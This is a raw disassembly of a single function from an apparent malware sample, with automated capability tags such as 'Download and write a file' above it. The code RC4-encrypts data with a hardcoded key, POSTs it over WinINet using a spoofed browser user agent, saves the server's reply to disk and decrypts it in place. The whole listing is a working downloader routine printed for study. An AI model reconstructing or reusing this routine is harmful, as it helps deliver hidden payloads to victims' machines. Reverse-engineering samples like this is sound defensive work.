Function at 0x1000a120
Capabilities:
Clear file content
Connect to http server
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
push esi
push edi
push 0xff
mov edi, eax
lea eax, [ebp - 0x11f]
push 0
push eax
mov dword [ebp - 4], 0
mov byte [ebp - 0x120], 0
call sub.MSVCRT.dll_memset
xor ecx, ecx
add esp, 0xc
mov word [ebp - 0x20], cx
xor eax, eax
mov word [ebp - 0x20], 1
mov byte [ebp + ecx - 0x120], cl
inc ecx
cmp ecx, 0x100
jl 0x1000a160
xor ecx, ecx
mov dl, byte [eax + str.as743vgk0odastr]
xor byte [ebp + ecx - 0x120], dl
inc eax
cmp eax, 0xf
jl 0x1000a187
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x1000a172
mov edx, dword [ebp + 0x14]
push edi
mov ecx, edi
lea eax, [ebp - 0x120]
call fcn.1000c080
mov esi, dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
call esi
mov ebx, eax
mov dword [ebp - 8], ebx
test ebx, ebx
jne 0x1000a1d8
push eax
push eax
push eax
push 1
push str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
call esi
mov dword [ebp - 8], eax
test eax, eax
je 0x1000a442
mov ebx, eax
mov eax, dword [ebp + 8]
push 0
push 0
push 3
push 0
push 0
push 0x50
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
mov dword [ebp - 0x14], esi
test esi, esi
je 0x1000a437
mov ecx, dword [ebp + 0xc]
push 0
push 0
push 0
push 0
push str.HTTP_1.0
push ecx
push str.POST
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
mov dword [ebp + 8], ebx
test ebx, ebx
je 0x1000a42d
mov esi, dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
push 0x20000000
push 0xffffffffffffffff
push str.Content_Type:_application_x_www_form_urlencoded_r_n
push ebx
call esi
push 0x20000000
push 0xffffffffffffffff
push str.Connection:_close_r_n
push ebx
call esi
mov edx, dword [ebp + 0x14]
push edx
push edi
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x1000a423
mov eax, dword [ebp + 0x10]
push 0
push 0x80
push 2
push 0
push 7
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000a423
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
nop
push 0x1010
push 8
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x1000a333
push 0x1010
push 0
push esi
call sub.MSVCRT.dll_memset
mov edx, dword [ebp + 8]
add esp, 0xc
lea ecx, [ebp - 0xc]
push ecx
push 0x1000
push esi
push edx
mov dword [ebp - 0xc], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1000a317
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x1000a317
push 0
lea ecx, [ebp + 0x14]
push ecx
push eax
push esi
push edi
mov dword [ebp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1000a290
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1000a290
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1000a333
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
test edi, edi
je 0x1000a33e
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0x10]
push 0
lea edx, [ebp - 0x10]
push edx
call fcn.10003fe0
mov edi, eax
test edi, edi
je 0x1000a420
xor eax, eax
mov word [ebp - 0x20], 1
xor ecx, ecx
mov byte [ebp + ecx - 0x120], cl
inc ecx
cmp ecx, 0x100
jl 0x1000a360
xor ecx, ecx
mov dl, byte [eax + str.as743vgk0odastr]
xor byte [ebp + ecx - 0x120], dl
inc eax
cmp eax, 0xf
jl 0x1000a387
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x1000a372
mov edx, dword [ebp - 0x10]
push edi
mov ecx, edi
lea eax, [ebp - 0x120]
call fcn.1000c080
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp - 0x10]
mov dword [ebp + 0x14], eax
test ecx, ecx
je 0x1000a3fd
test eax, eax
je 0x1000a3fd
push 0
push 0x80
push 2
push 0
push 7
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000a3fd
mov ecx, dword [ebp + 0x14]
push 0
lea eax, [ebp + 0x10]
push eax
push ecx
push edi
push esi
mov dword [ebp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1000a3f6
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1000a419
push edi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 4], 1
mov ebx, dword [ebp + 8]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esi, dword [ebp - 0x14]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x1000a442
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10